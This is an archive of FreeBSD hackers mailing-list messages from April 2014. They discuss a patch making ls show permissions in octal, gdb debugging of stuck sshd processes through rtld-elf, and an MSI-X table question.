Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 00BE3C0D for ; Tue, 8 Apr 2014 19:32:36 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BE7CD1A1D for ; Tue, 8 Apr 2014 19:32:36 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s38JZtlF007414; Tue, 8 Apr 2014 12:36:01 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s38JZo2t007408; Tue, 8 Apr 2014 12:35:50 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 8 Apr 2014 12:35:50 -0700 (PDT) Message-ID: <4e735f74795e7212dd3269ec6b0aaaf0.authenticated@ultimatedns.net> In-Reply-To: <20140408184533.GA974@spectrum.skysmurf.nl> References: <20140408184533.GA974@spectrum.skysmurf.nl> Date: Tue, 8 Apr 2014 12:35:50 -0700 (PDT) Subject: Re: Letting "ls -l" display file permissions in octal From: "Chris H" To: "A.J. 'Fonz' van Werven" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 19:32:37 -0000 > [Please CC me when you think it's necessary; I'm not subscribed to ] > [-hackers because I'm not a developer. ] > > Someone asked on the FreeBSD Forums whether it was possible to let "ls -l" > display file permissions in octal, e.g. > > % ls -lO > -0644 1 root wheel - 855B Mar 4 16:30 some_file > > instead of > > % ls -l > -rw-r--r-- 1 root wheel - 855B Mar 4 16:30 some_file > > Since ls itself appears not to have an option for that and I quite liked > the idea, I decided to hack the source of ls to do just that. > > If you folks think this is a good idea, then by all means feel free to > discuss my patch and possibly incorporate it into the FreeBSD source tree. > And if you think it's not a good idea, no harm done. It's just a pet > project (and a simply one at that) so my feelings won't be hurt if it's > not accepted. +1 for incorporating it, and adding it to BASE. --Chris > > The patch can be found here: http://www.skysmurf.nl/attic/ls.patch > > And the discussion thread in question on the FreeBSD Forums can be found > here: https://forums.freebsd.org/viewtopic.php?f=3&t=45825 > > Regards, > > Alphons "Fonz" van Werven > > -- > I'm not completely useless, I can be used as a bad example. > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 19:34:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5495FE76 for ; Tue, 8 Apr 2014 19:34:00 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2CACE1A42 for ; Tue, 8 Apr 2014 19:34:00 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id BA6DFB93B; Tue, 8 Apr 2014 15:33:58 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Tue, 8 Apr 2014 15:33:53 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> In-Reply-To: <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404081533.53990.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 08 Apr 2014 15:33:58 -0400 (EDT) Cc: Konstantin Belousov , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 19:34:00 -0000 On Tuesday, April 08, 2014 3:18:44 pm Karl Pielorz wrote: > > --On 8 April 2014 19:43:53 +0300 Konstantin Belousov > wrote: > > > The following patch might allow to see the backtrace beyond the binder > > entry point. You might also have better luck with the gdb from ports. > > > > diff --git a/libexec/rtld-elf/amd64/rtld_start.S > > [snip] > > If I apply that I presume I'm going to have to build / start the whole > thing again (i.e. restart sshd at least / possibly the system etc.) and get > it to hang again? > > I might see how far we can get with the current stuff before I have to go > through that again :) I think this patch only changes debug info, so I think you can just build and install and re-attach gdb without having to restart sshd. Also, this patch should only require you to build and install libexec/rtld-elf. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 20:13:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6F4A78D4 for ; Tue, 8 Apr 2014 20:13:14 +0000 (UTC) Received: from mail-ob0-x234.google.com (mail-ob0-x234.google.com [IPv6:2607:f8b0:4003:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3D25D1DBF for ; Tue, 8 Apr 2014 20:13:14 +0000 (UTC) Received: by mail-ob0-f180.google.com with SMTP id wn1so1584432obc.25 for ; Tue, 08 Apr 2014 13:13:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=N6mQ+CAc6Jm2VvWIP1ehs/IqbzrjB1l5f6n4xrmHCAo=; b=Va4l4z0VzH9zSFzsvwQb+u/A1QBiFIMGLkN0JvaS1qnBymc8MuE9ifFAY0QLnEuPVk uG6hVHtWeUzkZ+Vbnb5rLiLYG1LiNyrRb7HMQOEtm1EX0F4BCf05y/A+NBKDf6ExK2Eo 03mudU/ySavLbv9khZj+0A+xpBmBIpYVp3J3rqANL0RFNGVGHMlvsNoj4M6n5p19eMZr ih5gck4WHdNv8oKGSfoUtpv0kzOpMUijB0GfWl+OfVGE64pbfwJksSgS+n8W+fnBs5E+ sROeVGYP2nbfkxgtWxT0wBRYm3VCAlQ5atsy6TmX8zqCdompyYTbb5azglVfgSBJW08I H7Mw== MIME-Version: 1.0 X-Received: by 10.60.40.39 with SMTP id u7mr5062442oek.56.1396987993558; Tue, 08 Apr 2014 13:13:13 -0700 (PDT) Received: by 10.76.87.7 with HTTP; Tue, 8 Apr 2014 13:13:13 -0700 (PDT) Date: Tue, 8 Apr 2014 16:13:13 -0400 Message-ID: Subject: Overlapping MSI-X table and PBA From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 20:13:14 -0000 I have a (prototype) PCIe device that shows the following in pciconf -lc: cap 11[70] = MSI-X supports 5 messages Table in map 0x1c[0x0], PBA in map 0x1c[0x0] This is completely bogus, right? I don't see how the MSI-X table can't occupy the same offset in the same BAR as the PBA (certainly the datasheet for this device says that they should have different offsets). From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 21:06:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4E90056B; Tue, 8 Apr 2014 21:06:39 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 023AE152B; Tue, 8 Apr 2014 21:06:38 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s38L6akA088123 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Apr 2014 22:06:37 +0100 (BST) Date: Tue, 08 Apr 2014 22:06:36 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <92366925229B4C5B21B04D81@study64.tdx.co.uk> In-Reply-To: <201404081533.53990.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: Konstantin Belousov , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 21:06:39 -0000 --On 8 April 2014 15:33:53 -0400 John Baldwin wrote: > I think this patch only changes debug info, so I think you can just build > and install and re-attach gdb without having to restart sshd. Also, this > patch should only require you to build and install libexec/rtld-elf. Ok, patched, re-attached and re-ran bt (output is below). I've got gdb from ports building on that machine but I probably won't be able to do any more with it tonight. -Karl --- [Switching to LWP 100218] 0x00000008038ea89c in __error () from /lib/libthr.so.3 (gdb) bt #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 #6 0x000000000041072c in grace_alarm_handler (sig=-17504) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 #7 #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #11 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 #12 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 #13 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 #15 #16 0x0000000800653aea in _rtld_atfork_post () from /libexec/ld-elf.so.1 #17 0x000000080064a1eb in dlclose () from /libexec/ld-elf.so.1 #18 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so.5 #19 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so.5 #21 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so.5 #22 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 #23 0x000000000042e15d in sshpam_cleanup () at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 #24 0x000000000041d58f in do_cleanup (authctxt=0x80401a600) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 #25 0x000000000041064f in ssh_cleanup_exit (i=255) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 #26 0x0000000000428f83 in mm_request_receive (sock=, m=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 #27 0x0000000000427e26 in monitor_read (pmonitor=0x804022220, ent=0x6465a0, pent=0x7fffffffd0c0) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 #28 0x0000000000427b49 in monitor_child_preauth (_authctxt=, pmonitor=0x804022220) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 #29 0x000000000040fd15 in main (ac=, av=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 21:23:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D3FCCF2; Tue, 8 Apr 2014 21:23:25 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DB8C9171D; Tue, 8 Apr 2014 21:23:24 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s38LNJLC076569; Wed, 9 Apr 2014 00:23:19 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s38LNJLC076569 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s38LNJaO076568; Wed, 9 Apr 2014 00:23:19 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Apr 2014 00:23:19 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140408212319.GC21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="KQtzXpABaZjuvfJ9" Content-Disposition: inline In-Reply-To: <92366925229B4C5B21B04D81@study64.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 21:23:25 -0000 --KQtzXpABaZjuvfJ9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 08, 2014 at 10:06:36PM +0100, Karl Pielorz wrote: >=20 >=20 > --On 8 April 2014 15:33:53 -0400 John Baldwin wrote: >=20 > > I think this patch only changes debug info, so I think you can just bui= ld > > and install and re-attach gdb without having to restart sshd. Also, th= is > > patch should only require you to build and install libexec/rtld-elf. >=20 > Ok, patched, re-attached and re-ran bt (output is below). I've got gdb fr= om=20 > ports building on that machine but I probably won't be able to do any mor= e=20 > with it tonight. >=20 > -Karl >=20 > --- >=20 > [Switching to LWP 100218] > 0x00000008038ea89c in __error () from /lib/libthr.so.3 > (gdb) bt > #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so= =2E1 > #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 > #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 > #6 0x000000000041072c in grace_alarm_handler (sig=3D-17504) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 > #7 > #8 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #9 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #10 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #11 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so= =2E1 > #12 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 > #13 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 > #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=3D out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 > #15 > #16 0x0000000800653aea in _rtld_atfork_post () from /libexec/ld-elf.so.1 > #17 0x000000080064a1eb in dlclose () from /libexec/ld-elf.so.1 > #18 0x0000000800edd121 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #19 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #20 0x0000000800edd0bc in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #21 0x0000000800edd061 in openpam_clear_chains () from /usr/lib/libpam.so= =2E5 > #22 0x0000000800ed99e7 in pam_end () from /usr/lib/libpam.so.5 > #23 0x000000000042e15d in sshpam_cleanup () at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 > #24 0x000000000041d58f in do_cleanup (authctxt=3D0x80401a600) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 > #25 0x000000000041064f in ssh_cleanup_exit (i=3D255) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 > #26 0x0000000000428f83 in mm_request_receive (sock=3D,=20 > m=3D) > at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 > #27 0x0000000000427e26 in monitor_read (pmonitor=3D0x804022220,=20 > ent=3D0x6465a0, pent=3D0x7fffffffd0c0) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 > #28 0x0000000000427b49 in monitor_child_preauth (_authctxt=3D optimized out>, pmonitor=3D0x804022220) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 > #29 0x000000000040fd15 in main (ac=3D, av=3D optimized out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 Ok, so the patch sort of worked, but your rtld does not have debugging information for compiled .c files. Please, in the patched tree, do the following: cd libexec/rtld-elf make clean make DEBUG_FLAGS=3D-g DEBUG=3D-DDEBUG make install and then re-do the backtracing. --KQtzXpABaZjuvfJ9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRGjGAAoJEJDCuSvBvK1BOuAQAJRg17vxmNhZalUk2fS0AEoG ElU7P/gzTeS3Y3NQ/vDm7PHSkSJ4H+3MvisyR3s/1OPoO7NGxhZ8rIKBh7sfmTUh soy+RlY3pawhlwVO6/+VMk2AUPUe75PIyDPyY4A4T+8aqDm9kxcDKtszwGbYW0vY RpZEHcm77sn5CC64uZV9ppcuis/uKtZi/VWN69Uvt9UzWXA8MsxQYXXBUg3FCs/o cIua0+3nrhmSkYz/euD8hyyUUoCNefErtC3NMptBHtQ22InKpFvLoZEL+d77UG9x cDunUAm4LUaTJzzvzcwtxw/bTTplnYzOXqCPLFUouSw4HcNZhPkrJAPDjkMApHMn 27uM6ONvP9ZXitAGJ8o7O1OqFoK/8cURaq7+JmTmpgi2ZOvTDl+ga7vGVPUa/vDb WbHzKg5v/JS3B6IhbNmhPI07VK0OsMQPDYVaDeEBvvEniegzj9kTa2W0vkNVIqHy RyW53DiYPTk9PdW093IqVmW36xJEfCk8NaCse0D7p8GwdBnYRBlrgJGZwgJEgG0n Sm0Ri27g1PLI/W5wW+E08OtMWjgHNtroDua2DAH0OTDItJW5NhQLIvpBFz7mD0Ij ARFd3Ld67XQtH3RYAfMwNkEfgv8Hzufvzr87FQx5mdZHiAyOURJQcdPfdk5X7r+B I9/MhdVcosf+cHOZu/um =Hsia -----END PGP SIGNATURE----- --KQtzXpABaZjuvfJ9-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 20:39:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D21DC2DE for ; Tue, 8 Apr 2014 20:39:16 +0000 (UTC) Received: from spectrum.skysmurf.nl (spectrum.skysmurf.nl [82.95.125.145]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5F7241160 for ; Tue, 8 Apr 2014 20:39:15 +0000 (UTC) Received: from spectrum.skysmurf.nl (mail.skysmurf.nl [192.168.42.4] (may be forged)) by spectrum.skysmurf.nl (8.14.7/8.14.7) with SMTP id s38KdDNT002460 for ; Tue, 8 Apr 2014 22:39:13 +0200 (CEST) (envelope-from freebsd@skysmurf.nl) Received: by spectrum.skysmurf.nl (sSMTP sendmail emulation); Tue, 08 Apr 2014 22:39:13 +0200 Date: Tue, 8 Apr 2014 22:39:13 +0200 From: "A.J. 'Fonz' van Werven" To: freebsd-hackers@freebsd.org Subject: Re: Letting "ls -l" display file permissions in octal Message-ID: <20140408203913.GA2340@spectrum.skysmurf.nl> References: <20140408184533.GA974@spectrum.skysmurf.nl> <4e735f74795e7212dd3269ec6b0aaaf0.authenticated@ultimatedns.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="azLHFNyN32YCQGCU" Content-Disposition: inline In-Reply-To: <4e735f74795e7212dd3269ec6b0aaaf0.authenticated@ultimatedns.net> X-PGP-Key: http://www.skysmurf.nl/~fonz/fonz_pubkey.asc User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Tue, 08 Apr 2014 21:25:14 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 20:39:16 -0000 --azLHFNyN32YCQGCU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Please note: someone else on the forums spotted a bug in my code: the snprintf() call in octalmode() in print.c uses sizeof, which actually refers to the size of the pointer rather than the size of the buffer itself. I've updated the patch to just use the literal value 6 instead (four octal digits, a space reserved for aclmode() and a terminating \0). Since the length of said buffer has been hardcoded to 20 in the calling function (I didn't do that, BTW), I think that should be ok. AvW --=20 I'm not completely useless, I can be used as a bad example. --azLHFNyN32YCQGCU Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRF5xAAoJEAfP7gJTaCe84nsQAK2h7MNuFe8LfHHlmnAK3rCh 5wLe9P/mEUV72APGLMs9xpZ7E/lC8IyRLJhqsKTHiFWEUyLNkt8TCIpzzgAaMxN+ wcQdl44USYIBg65CW2uAqW9vTd/1y7bap5ameDdFUlD1Q9SYRraEK9pF1PSn8xZ9 vsc1C+WN24D3+OCGhWI8XuoHuOem0njptp2ZXJDqaKvoJmlQfEPXbgh5zt7OXXED EiEvK0pQleH1wJEwEnyiqOt1fCjrKh0Ot7DFP0yNhO2YoOR5NZC/Kn8uL4zuzLpW Qug5pfn9lMGLPGqrh+gBp1Cz1Q5ycM5aY/xykF37e8MizSJleExYjM3tEdZQCtgZ 9kLcNK71CupvsoD1/p/W9GuUUZq7RqCMkClsXT3Bns09fNtoPHEJ7n/iTm9QAIKx CvjmAbhS2/jL0KB50I8r5uLkSmt6/j5HBBtcNhW5u35KzmDvAXqEYfpaZM0pBVns 99hUOvCPdGrLgdW43J0lEwBILteYnsioihfPJBr/y2uBB+G57+liizGAxyNZ7i0o dzqOQ5FIOMu/BlWEKJyYq7TL1vNfwnlTQIi7zsUBxtK5MUOZDayiPCiU2WYz3Ztt dzv1jQcogaKm+FBIGW4ktfqGTlmdH2lGP9jH8OLgqKGAj2FaWna9OS1iiH78hx72 UqztAvE+Y0mt5CU2jhKG =rNsJ -----END PGP SIGNATURE----- --azLHFNyN32YCQGCU-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 02:32:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B1E7BE for ; Wed, 9 Apr 2014 02:32:00 +0000 (UTC) Received: from dmz-mailsec-scanner-4.mit.edu (dmz-mailsec-scanner-4.mit.edu [18.9.25.15]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AD07C1938 for ; Wed, 9 Apr 2014 02:31:59 +0000 (UTC) X-AuditID: 1209190f-f790b6d000000c3a-ed-5344b11deb79 Received: from mailhub-auth-3.mit.edu ( [18.9.21.43]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-4.mit.edu (Symantec Messaging Gateway) with SMTP id 17.8F.03130.D11B4435; Tue, 8 Apr 2014 22:31:57 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-3.mit.edu (8.13.8/8.9.2) with ESMTP id s392VuaY021226; Tue, 8 Apr 2014 22:31:56 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s392VrNf017967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 8 Apr 2014 22:31:55 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s392VroE029607; Tue, 8 Apr 2014 22:31:53 -0400 (EDT) Date: Tue, 8 Apr 2014 22:31:53 -0400 (EDT) From: Benjamin Kaduk To: "A.J. 'Fonz' van Werven" Subject: Re: Letting "ls -l" display file permissions in octal In-Reply-To: <20140408203913.GA2340@spectrum.skysmurf.nl> Message-ID: References: <20140408184533.GA974@spectrum.skysmurf.nl> <4e735f74795e7212dd3269ec6b0aaaf0.authenticated@ultimatedns.net> <20140408203913.GA2340@spectrum.skysmurf.nl> User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrBIsWRmVeSWpSXmKPExsUixCmqrSu70SXYoOEkn8X2zf8YLZ5em87k wOQx49N8Fo+Hs+IDmKK4bFJSczLLUov07RK4MqbNvcZccIy1ouvXWqYGxnUsXYycHBICJhJX LxxnhbDFJC7cW88GYgsJzGaSOLwpDMLewChx6AF/FyMXkH2QSeJrxxTGLkYOIKdeov9IEUgN i4CWxLs5B5lBbDYBFYmZbzaCzRERMJLYNvcwWJxZQF7iwuZDjCC2sICdxLEljSwgYzgFLCWO 